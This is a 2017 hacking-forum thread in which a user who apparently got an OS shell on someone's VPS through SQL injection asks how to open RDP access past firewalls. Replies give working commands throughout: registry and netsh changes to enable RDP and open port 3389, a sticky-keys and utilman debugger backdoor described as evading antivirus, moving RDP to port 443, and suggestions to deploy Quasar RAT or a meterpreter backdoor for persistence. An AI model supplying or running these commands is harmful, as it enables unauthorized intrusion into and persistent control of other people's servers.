

Forum:[Hack Forums](#)

Thread: [SQLMAP And enabling RDP](#)

edoroom - September 16, 2017, 6:00 am

Hi,

Well I need some help with an site I found an Sql Injection..

After using SQLMAP with --OS-SHELL I have found that I have Admin Previages however..

Creating a user isnt a problem,The problem is enabling the RDP,

The host disabled all ports except HTTP/HTTPS(80&443)

So what I tried to do first is to disable firewall which in other attack I did and really helped me to get all the ports opened on the host,Here it seems that everything is still filtered except the HTTP/HTTPS..

So I tried to add my ip like DMZ (so I'm open to all ports)

```
netsh advfirewall firewall add rule name="Allow" dir=in action=allow protocol=ANY
```

```
remoteip=XXXXXXXXX
```

Still blocked,I really have no idea what to do from that part in order to open access to RDP,I know that the host is connected by having his computer ip inside the whitelist of the RDP rule,But even if I disabled firewall how the rules still apply?

DelziumTheProudWhale_temp - September 16, 2017, 6:14 am

you can run quasar rat on it and use reverse proxy to connect to RDP

edoroom - September 16, 2017, 6:51 am

(Sep 16, 2017 06:14 AM)DelziumTheProudWhale_temp Wrote: [\[CITE\]](#) you can run quasar rat on it and use reverse proxy to connect to RDP

Except of doing it there is no any other option to do when I can run commands as admin in host cmd?

DelziumTheProudWhale_temp - September 16, 2017, 7:09 am

(Sep 16, 2017 06:51 AM)edoroom Wrote: [\[CITE\]](#) Except of doing it there is no any other option to do when I can run commands as admin in host cmd?

not that i'm aware of

edoroom - September 17, 2017, 1:11 am

I will bump it last time to see if maybe someone have any idea of what I can do in this case.

DelziumTheProudWhale_temp - September 17, 2017, 4:06 am

if you want i can try to do that for you

Bos™ - September 17, 2017, 4:15 am

They might have an outside firewall where they allow only http/s

You're out of luck if thats the case

edoroom - September 20, 2017, 12:34 pm

(Sep 17, 2017 04:06 AM)DelziumTheProudWhale_temp Wrote: [\[CITE\]](#) if you want i can try to do that for you

I want to do it by my self then having someone to do this for me, can you tell me what is your suggestion in that case?

(Sep 17, 2017 04:15 AM)Bos™ Wrote: [\[CITE\]](#) They might have an outside firewall where they allow only http/s

You're out of luck if thats the case

I am pretty sure it's not filtered outside since I had a chance to see before he changed his open ports that he allows Rdp port opened just to specific IPS like his own computer, From what I also understood that disabling firewall won't help me because all these options in advanced firewall are still active no matter what..

edoroom - September 28, 2017, 1:54 am

Waiting for a solution,Will apperciate any help!

edoroom - October 4, 2017, 9:53 am

I would like to update it as I really need help,

After few tests I have made I have found that he is filtering the ports outside the VPS (I inserted my IP as an Rule in his firewall to accept connection for RDP however no result and then I found out that OVH has an outside firewall which he is probably using)

So is there something I can really do in that case?

Maybe canceling the port for 443 and make it RDP port? I really dont know..I can excuate any command I want with admin prevliages on the CMD of the server however I have no idea what could help me get access to the VPS...

CyberStrike - October 6, 2017, 5:13 pm

(Oct 4, 2017 09:53 AM)edoroom Wrote: [\[CITE\]](#) I would like to update it as I really need help,

After few tests I have made I have found that he is filtering the ports outside the VPS (I inserted my IP as an Rule in his firewall to accept connection for RDP however no result and then I found out that OVH has an outside firewall which he is probably using)

So is there something I can really do in that case?

Maybe canceling the port for 443 and make it RDP port? I really dont know..I can excuate any command I want with admin prevliages on the CMD of the server however I have no idea what could help me get access to the VPS...

Windows RDP:

```
Code Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

netsh advfirewall firewall set rule group="remote desktop" new enable=yesWindows Backdooring RDP hijacking stickykeys and Utilman:

This technique avoids AV/WhiteListing and is activated when sticky keys are activated.

```
Code REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

```
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```

Give JRdesktop a look as well

edoroom - October 6, 2017, 6:14 pm

(Oct 6, 2017 05:13 PM)sirru5h Wrote: [\[CITE\]](#) Windows RDP:

```
Code Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

netsh advfirewall firewall set rule group="remote desktop" new enable=yesWindows Backdooring RDP hijacking stickykeys and Utilman:

This technique avoids AV/WhiteListing and is activated when sticky keys are activated.
Code REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
Give JRdesktop a look as well
"Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group="remote desktop" new enable=yes"
Fail since RDP uses port 3389 which is outside filtered no matter what rule is activated on Firewall..Even turned off his firewall and same result just 80 and 443 opened which are used by IIS....

Tried this
REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 0x1BB /f
to change rdp port to 443 but fail since it uses IIS and I cant stop IIS service because then injection will lost also ;<
Will now check about jrdesktop
JRdesktop would work only if I have access because user need to open the .jar file...
If only there is something to do from CMD to open access I dont know..

CyberStrike - October 8, 2017, 11:44 am

yeah please don't turn off IIS, although IIS does crash but I am sure the admin has it to check and restart the service. Could it be that there is a firewall and this machine is on the DMZ or they have just ports open which are needed. Plus although I have run into it RDP generally isn't what you would want to use to remote administration.. usually when you login remotely you see a login like for windows server normal user but then you will see a cmd prompt. Also remember that if you are in on an OS shell via SQLi then check if they have java if they do you can run java jar from cmd. What version of windows is this btw? You should start to quickly consolidate your toe hold on that machine btw , meterpreter backdoor, I think that the only time I use RDP maybe is for autoruns32/64 although I am lazy and use autorunsc.

Edit: Make sure that telnet is enabled

Code netsh firewall add portopening TCP 3389 "Remote Desktop"
expressly open the port then usually if windows is good about opening that port soon as the commands are issued in the registry.. also give the machine a reboot.

and of course like a fool I forgot code on the initial post

Code reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
Edit: I really gotta double check my posts when I reply I apologize.